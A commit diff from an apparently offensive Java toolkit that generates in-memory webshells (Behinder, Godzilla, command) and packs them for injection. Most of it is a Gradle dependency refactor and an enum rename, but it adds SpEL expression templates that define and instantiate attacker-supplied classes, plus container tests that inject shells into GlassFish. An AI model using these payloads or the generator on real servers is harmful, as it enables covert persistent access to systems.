refactor: use platform to manage dependency

1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)

behinder/build.gradle

@@ -1,32 +0,0 @@
-plugins {
-    id "io.freefair.lombok" version "8.11"
-}
-
-group = 'com.reajason.javaweb'
-version = ''
-
-java {
-    toolchain {
-        languageVersion = JavaLanguageVersion.of(8)
-    }
-    sourceCompatibility = JavaVersion.VERSION_1_8
-    targetCompatibility = JavaVersion.VERSION_1_8
-}
-
-
-dependencies {
-    implementation project(":common")
-    implementation 'net.bytebuddy:byte-buddy:1.+'
-    implementation 'commons-io:commons-io:2.+'
-    implementation 'org.apache.commons:commons-lang3:3.+'
-    implementation 'commons-codec:commons-codec:1.+'
-
-    implementation 'com.squareup.okhttp3:okhttp:4.+'
-    implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
-    testImplementation platform('org.junit:junit-bom:5.10.0')
-    testImplementation 'org.junit.jupiter:junit-jupiter'
-}
-
-test {
-    useJUnitPlatform()
-}

bom/build.gradle

@@ -0,0 +1,37 @@
+plugins {
+    id 'java-platform'
+}
+
+dependencies {
+    constraints {
+        api 'net.bytebuddy:byte-buddy:1.+'
+
+        api 'javax.servlet:javax.servlet-api:3.0.1'
+        api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
+        api 'javax.websocket:javax.websocket-api:1.1'
+
+        api 'org.springframework:spring-webmvc:5.3.24'
+        api 'org.springframework:spring-webflux:5.3.24'
+        api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
+
+        api 'commons-io:commons-io:2.+'
+        api 'org.apache.commons:commons-lang3:3.+'
+        api 'commons-codec:commons-codec:1.+'
+        api 'ch.qos.logback:logback-classic:1.+'
+
+        api 'xalan:xalan:2.7.0'
+        api 'org.apache.bcel:bcel:5.2'
+
+        api 'org.java-websocket:Java-WebSocket:1.5.7'
+        api 'com.squareup.okhttp3:okhttp:4.+'
+        api 'com.alibaba.fastjson2:fastjson2:2.0.53'
+
+        api 'org.jetbrains:annotations:26.0.1'
+
+        api "org.mockito:mockito-core:5.+"
+        api 'org.hamcrest:hamcrest:3.0'
+        api 'org.junit:junit-bom:5.10.0'
+        api 'org.testcontainers:testcontainers:1.20.4'
+        api 'org.testcontainers:junit-jupiter:1.20.4'
+    }
+}

boot/build.gradle

@@ -49,7 +49,7 @@ dependencies {
     implementation(project(":deserialize")) {
         exclude group: 'commons-logging', module: 'commons-logging'
     }
-    implementation 'org.apache.bcel:bcel:5.2'
+    implementation 'org.apache.bcel:bcel'
     implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
     implementation('org.springframework.boot:spring-boot-starter-web') {
         exclude group:'org.springframework.boot', module:'spring-boot-starter-tomcat'

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.boot.entity.Config;
 import com.reajason.javaweb.memshell.AbstractShell;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.CrossOrigin;
 import org.springframework.web.bind.annotation.RequestMapping;
@@ -51,7 +51,7 @@ public class ConfigController {
                         .collect(Collectors.toList())
         );
         config.setCore(coreMap);
-        config.setPackers(Arrays.stream(Packer.INSTANCE.values()).map(Packer.INSTANCE::name).toList());
+        config.setPackers(Arrays.stream(Packers.values()).map(Packers::name).toList());
         return ResponseEntity.ok(config);
     }
 }

boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java

@@ -28,10 +28,10 @@ public class GeneratorController {
         InjectorConfig injectorConfig = request.getInjectorConfig();
         GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
         String packResult = null;
-        if (request.getPacker().getPacker() instanceof JarPacker) {
-            packResult = Base64.getEncoder().encodeToString(request.getPacker().getPacker().packBytes(generateResult));
+        if (request.getPacker().getInstance() instanceof JarPacker) {
+            packResult = Base64.getEncoder().encodeToString(request.getPacker().getInstance().packBytes(generateResult));
         } else {
-            packResult = request.getPacker().getPacker().pack(generateResult);
+            packResult = request.getPacker().getInstance().pack(generateResult);
         }
         return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
     }

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.boot.dto;
 
 import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.Data;
 
 /**
@@ -13,7 +13,7 @@ public class GenerateRequest {
     private ShellConfig shellConfig;
     private ShellToolConfigDTO shellToolConfig;
     private InjectorConfig injectorConfig;
-    private Packer.INSTANCE packer;
+    private Packers packer;
 
     @Data
     static class ShellToolConfigDTO {

build.gradle

@@ -1,7 +1,15 @@
 allprojects {
-    apply(plugin: 'java')
-    apply(plugin: 'idea')
-    apply(plugin: 'jacoco')
+    if (it.name != 'bom') {
+        apply(plugin: 'java')
+        apply(plugin: 'idea')
+        apply(plugin: 'jacoco')
+    }
+
+    if (it.name != 'bom' && !it.name.startsWith("vul")) {
+        dependencies {
+            implementation platform(project(':bom'))
+        }
+    }
 
     repositories {
         mavenCentral()

common/build.gradle

@@ -6,23 +6,20 @@ group = 'com.reajason.javaweb'
 version = ''
 
 java {
-    toolchain {
-        languageVersion = JavaLanguageVersion.of(8)
-    }
     sourceCompatibility = JavaVersion.VERSION_1_8
     targetCompatibility = JavaVersion.VERSION_1_8
 }
 
 dependencies {
-    implementation 'net.bytebuddy:byte-buddy:1.+'
-    implementation 'commons-io:commons-io:2.+'
-    implementation 'org.apache.commons:commons-lang3:3.+'
-    implementation 'commons-codec:commons-codec:1.+'
-    implementation 'org.jetbrains:annotations:26.0.1'
-    testImplementation platform('org.junit:junit-bom:5.+')
+    implementation 'net.bytebuddy:byte-buddy'
+    implementation 'commons-io:commons-io'
+    implementation 'org.apache.commons:commons-lang3'
+    implementation 'commons-codec:commons-codec'
+    implementation 'org.jetbrains:annotations'
+    testImplementation platform('org.junit:junit-bom')
     testImplementation 'org.junit.jupiter:junit-jupiter'
     testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
-    testImplementation "org.mockito:mockito-core:5.+"
+    testImplementation "org.mockito:mockito-core"
 }
 
 test {

deserialize/build.gradle

@@ -5,9 +5,11 @@ plugins {
 group = 'com.reajason.javaweb'
 
 dependencies {
-    implementation 'net.bytebuddy:byte-buddy:1.+'
+    implementation 'net.bytebuddy:byte-buddy'
+
     implementation 'commons-beanutils:commons-beanutils:1.9.3'
-    testImplementation platform('org.junit:junit-bom:5.+')
+
+    testImplementation platform('org.junit:junit-bom')
     testImplementation 'org.junit.jupiter:junit-jupiter'
 }
 

generator/build.gradle

@@ -43,29 +43,29 @@ dependencies {
     implementation project(":deserialize")
     implementation project(":memshell")
     implementation project(":memshell-java8")
-    implementation 'net.bytebuddy:byte-buddy:1.+'
-    implementation 'javax.servlet:javax.servlet-api:3.0.1'
-    implementation 'javax.websocket:javax.websocket-api:1.1'
-    implementation 'org.java-websocket:Java-WebSocket:1.5.7'
-    implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
-    implementation 'xalan:xalan:2.7.0'
-    implementation 'org.apache.bcel:bcel:5.2'
+    implementation 'net.bytebuddy:byte-buddy'
 
-    implementation 'commons-io:commons-io:2.+'
-    implementation 'org.apache.commons:commons-lang3:3.+'
-    implementation 'commons-codec:commons-codec:1.+'
+    implementation 'javax.servlet:javax.servlet-api'
+    implementation 'javax.websocket:javax.websocket-api'
+    implementation 'jakarta.servlet:jakarta.servlet-api'
 
-    implementation 'com.squareup.okhttp3:okhttp:4.+'
-    implementation 'ch.qos.logback:logback-classic:1.+'
-    implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
+    implementation 'xalan:xalan'
+    implementation 'org.apache.bcel:bcel'
 
-    implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
-    implementation 'org.springframework:spring-web:4.3.30.RELEASE'
-    implementation 'org.springframework:spring-webflux:5.3.24'
-    implementation 'io.netty:netty-all:4.1.116.Final'
-    implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25'
-    testImplementation platform('org.junit:junit-bom:5.+')
+    implementation 'commons-io:commons-io'
+    implementation 'org.apache.commons:commons-lang3'
+    implementation 'commons-codec:commons-codec'
+    implementation 'com.squareup.okhttp3:okhttp'
+    implementation 'ch.qos.logback:logback-classic'
+    implementation 'com.alibaba.fastjson2:fastjson2'
+    implementation 'org.java-websocket:Java-WebSocket'
+
+    implementation 'org.springframework:spring-webmvc'
+    implementation 'org.springframework:spring-webflux'
+    implementation 'io.projectreactor.netty:reactor-netty-core'
+
+    testImplementation platform('org.junit:junit-bom')
     testImplementation 'org.junit.jupiter:junit-jupiter'
     testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
-    testImplementation "org.mockito:mockito-core:5.+"
+    testImplementation "org.mockito:mockito-core"
 }

generator/src/main/java/com/reajason/javaweb/GeneratorMain.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb;
 import com.reajason.javaweb.memshell.AbstractShell;
 import com.reajason.javaweb.memshell.SpringWebFluxShell;
 import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -67,10 +67,10 @@ public class GeneratorMain {
     }
 
     @SneakyThrows
-    public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
+    public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) {
         GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
         if (generateResult != null) {
-            return packerInstance.getPacker().pack(generateResult);
+            return packerInstance.getInstance().pack(generateResult);
         }
         return null;
     }

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java

@@ -15,83 +15,18 @@ public interface Packer {
      * 将生成的内存马打包成指定格式
      *
      * @param generateResult 生成的内存马信息
-     * @return 指定格式字节数组
+     * @return 字符串 payload
      */
     default String pack(GenerateResult generateResult) {
         throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
     }
 
+    /**
+     * 将生成的内存马打包成 bytes
+     * @param generateResult 生成的内存马信息
+     * @return 字节数组
+     */
     default byte[] packBytes(GenerateResult generateResult) {
         throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
     }
-
-    /**
-     * 部分打包器可能需要配置来进行额外的配置项
-     *
-     * @param generateResult 生成的内存马信息
-     * @param config         配置
-     * @return 字节数组
-     */
-    default byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
-        throw new UnsupportedOperationException();
-    }
-
-
-    @Getter
-    static enum INSTANCE {
-        /**
-         * Base64
-         */
-        Base64(new Base64Packer()),
-
-        /**
-         * GzipBase64
-         */
-        GzipBase64(new GzipBase64()),
-
-        Jar(new SimpleJarPacker()),
-
-        /**
-         * BCEL
-         */
-        BCEL(new BCELPacker()),
-
-        /**
-         * JSP 打包器
-         */
-        JSP(new JspPacker()),
-
-        /**
-         * 脚本引擎打包器
-         */
-        ScriptEngine(new ScriptEnginePacker()),
-
-        /**
-         * 反序列化打包器
-         */
-        Deserialize(new DeserializePacker()),
-
-        /**
-         * EL
-         */
-        EL(new ELPacker()),
-
-        OGNL(new OGNLPacker()),
-
-        SpEL(new SpELPacker()),
-
-        Freemarker(new FreemarkerPacker()),
-
-        Velocity(new VelocityPacker()),
-
-        AgentJar(new AgentJarPacker()),
-
-        XxlJob(new XxlJobPacker()),
-        ;
-        private final Packer packer;
-
-        INSTANCE(Packer packer) {
-            this.packer = packer;
-        }
-    }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java

@@ -0,0 +1,69 @@
+package com.reajason.javaweb.memshell.packer;
+
+import lombok.Getter;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/23
+ */
+@Getter
+public enum Packers {
+    /**
+     * Base64
+     */
+    Base64(new Base64Packer()),
+
+    /**
+     * GzipBase64
+     */
+    GzipBase64(new GzipBase64()),
+
+    Jar(new SimpleJarPacker()),
+
+    /**
+     * BCEL
+     */
+    BCEL(new BCELPacker()),
+
+    /**
+     * JSP 打包器
+     */
+    JSP(new JspPacker()),
+
+    /**
+     * 脚本引擎打包器
+     */
+    ScriptEngine(new ScriptEnginePacker()),
+
+    /**
+     * 反序列化打包器
+     */
+    Deserialize(new DeserializePacker()),
+
+    /**
+     * EL
+     */
+    EL(new ELPacker()),
+
+    OGNL(new OGNLPacker()),
+
+    SpEL(new SpELSpringIOUtilsGzipPacker()),
+
+    Freemarker(new FreemarkerPacker()),
+
+    Velocity(new VelocityPacker()),
+
+    AgentJar(new AgentJarPacker()),
+
+    XxlJob(new XxlJobPacker()),
+    ;
+    private final Packer instance;
+
+    Packers(Packer instance) {
+        this.instance = instance;
+    }
+
+    Packer getPacker(Packers packerType) {
+        return null;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java

@@ -1,31 +0,0 @@
-package com.reajason.javaweb.memshell.packer;
-
-import com.reajason.javaweb.memshell.config.GenerateResult;
-import org.apache.commons.io.IOUtils;
-
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.util.Objects;
-
-/**
- * @author ReaJason
- * @since 2024/12/13
- */
-public class SpELPacker implements Packer {
-    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
-    String template = "";
-
-    public SpELPacker() {
-        try {
-            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset());
-        } catch (IOException ignored) {
-
-        }
-    }
-
-    @Override
-    public String pack(GenerateResult generateResult) {
-        String script = scriptEnginePacker.pack(generateResult);
-        return template.replace("{{script}}", script);
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELScriptEnginePacker.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.memshell.packer;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class SpELScriptEnginePacker implements Packer {
+    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+    String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        String script = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", script);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringIOUtilsGzipPacker.java

@@ -0,0 +1,21 @@
+package com.reajason.javaweb.memshell.packer;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import lombok.SneakyThrows;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class SpELSpringIOUtilsGzipPacker implements Packer {
+    String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
+
+    @Override
+    @SneakyThrows
+    public String pack(GenerateResult generateResult) {
+        return template.replace("{{className}}", generateResult.getInjectorClassName())
+                .replace("{{base64Str}}", Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringUtilPacker.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memshell.packer;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class SpELSpringUtilPacker implements Packer {
+    String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        return template.replace("{{className}}", generateResult.getInjectorClassName())
+                .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
+    }
+}

integration-test/build.gradle

@@ -2,36 +2,34 @@ plugins {
     id "io.freefair.lombok" version "8.11"
 }
 
-java {
-    toolchain {
-        languageVersion = JavaLanguageVersion.of(17)
-    }
-}
-
 group = 'com.reajason.javaweb'
 version = ''
 
 dependencies {
     testImplementation project(":vul:vul-webapp")
     testImplementation project(":common")
-    testImplementation project(":behinder")
-    testImplementation project(":godzilla")
+    testImplementation project(":tools:behinder")
+    testImplementation project(":tools:godzilla")
     testImplementation project(':generator')
-    testImplementation 'javax.servlet:javax.servlet-api:3.0.1'
-    testImplementation 'javax.websocket:javax.websocket-api:1.1'
-    testImplementation 'org.java-websocket:Java-WebSocket:1.5.7'
-    testImplementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
-    testImplementation 'org.hamcrest:hamcrest:3.0'
-    testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
-    testImplementation 'org.slf4j:slf4j-simple:2.0.16'
-    testImplementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
-    testImplementation 'net.bytebuddy:byte-buddy:1.15.1'
-    testImplementation 'org.testcontainers:testcontainers:1.20.4'
-    testImplementation 'org.testcontainers:junit-jupiter:1.20.4'
-    testImplementation platform('org.junit:junit-bom:5.11.3')
+
+    testImplementation 'net.bytebuddy:byte-buddy'
+
+    testImplementation 'javax.servlet:javax.servlet-api'
+    testImplementation 'javax.websocket:javax.websocket-api'
+    testImplementation 'jakarta.servlet:jakarta.servlet-api'
+
+    testImplementation 'org.java-websocket:Java-WebSocket'
+    testImplementation 'com.squareup.okhttp3:okhttp'
+    testImplementation 'com.alibaba.fastjson2:fastjson2'
+
+
+    testImplementation platform('org.junit:junit-bom')
     testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
     testImplementation 'org.junit.jupiter:junit-jupiter'
-    testImplementation 'org.junit.platform:junit-platform-reporting:1.11.3'
+    testImplementation 'org.junit.platform:junit-platform-reporting'
+    testImplementation 'org.hamcrest:hamcrest'
+    testImplementation 'org.testcontainers:testcontainers'
+    testImplementation 'org.testcontainers:junit-jupiter'
 }
 
 tasks.withType(Test).tap {
@@ -52,7 +50,6 @@ tasks.withType(Test).configureEach {
 
 idea {
     module {
-        excludeDirs -= file('build')
         excludeDirs += file('src/main')
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

@@ -5,7 +5,7 @@ import com.reajason.javaweb.memshell.SpringWebFluxShell;
 import com.reajason.javaweb.memshell.SpringWebMvcShell;
 import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.memshell.packer.JarPacker;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import org.testcontainers.containers.GenericContainer;
@@ -28,12 +28,12 @@ import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
 @Slf4j
 public class ShellAssertionTool {
 
-    public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
+    public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
         testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
     }
 
     @SneakyThrows
-    public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer, GenericContainer<?> container) {
+    public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
         String shellUrl = url + "/test";
 
         String urlPattern = null;
@@ -49,8 +49,8 @@ public class ShellAssertionTool {
         GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
 
         String content = null;
-        if (packer.getPacker() instanceof JarPacker) {
-            byte[] bytes = packer.getPacker().packBytes(generateResult);
+        if (packer.getInstance() instanceof JarPacker) {
+            byte[] bytes = packer.getInstance().packBytes(generateResult);
             Path tempJar = Files.createTempFile("temp", "jar");
             Files.write(tempJar, bytes);
             String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
@@ -65,7 +65,7 @@ public class ShellAssertionTool {
                     containsString("JVM response code = 0")
             ));
         } else {
-            content = packer.getPacker().pack(generateResult);
+            content = packer.getInstance().pack(generateResult);
             assertInjectIsOk(url, shellType, shellTool, content, packer, container);
         }
 
@@ -81,7 +81,7 @@ public class ShellAssertionTool {
         }
     }
 
-    public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
+    public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
         InjectorConfig injectorConfig = new InjectorConfig();
         if (StringUtils.isNotBlank(urlPattern)) {
             injectorConfig.setUrlPattern(urlPattern);
@@ -126,7 +126,7 @@ public class ShellAssertionTool {
         return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
     }
 
-    public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer, GenericContainer<?> container) {
+    public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
         switch (packer) {
             case JSP -> {
                 String uploadEntry = url + "/upload";

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -49,30 +49,30 @@ public class GlassFish3ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
 //                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
 //                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
 
         );
     }
@@ -86,7 +86,7 @@ public class GlassFish3ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -50,30 +50,30 @@ public class GlassFish4ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
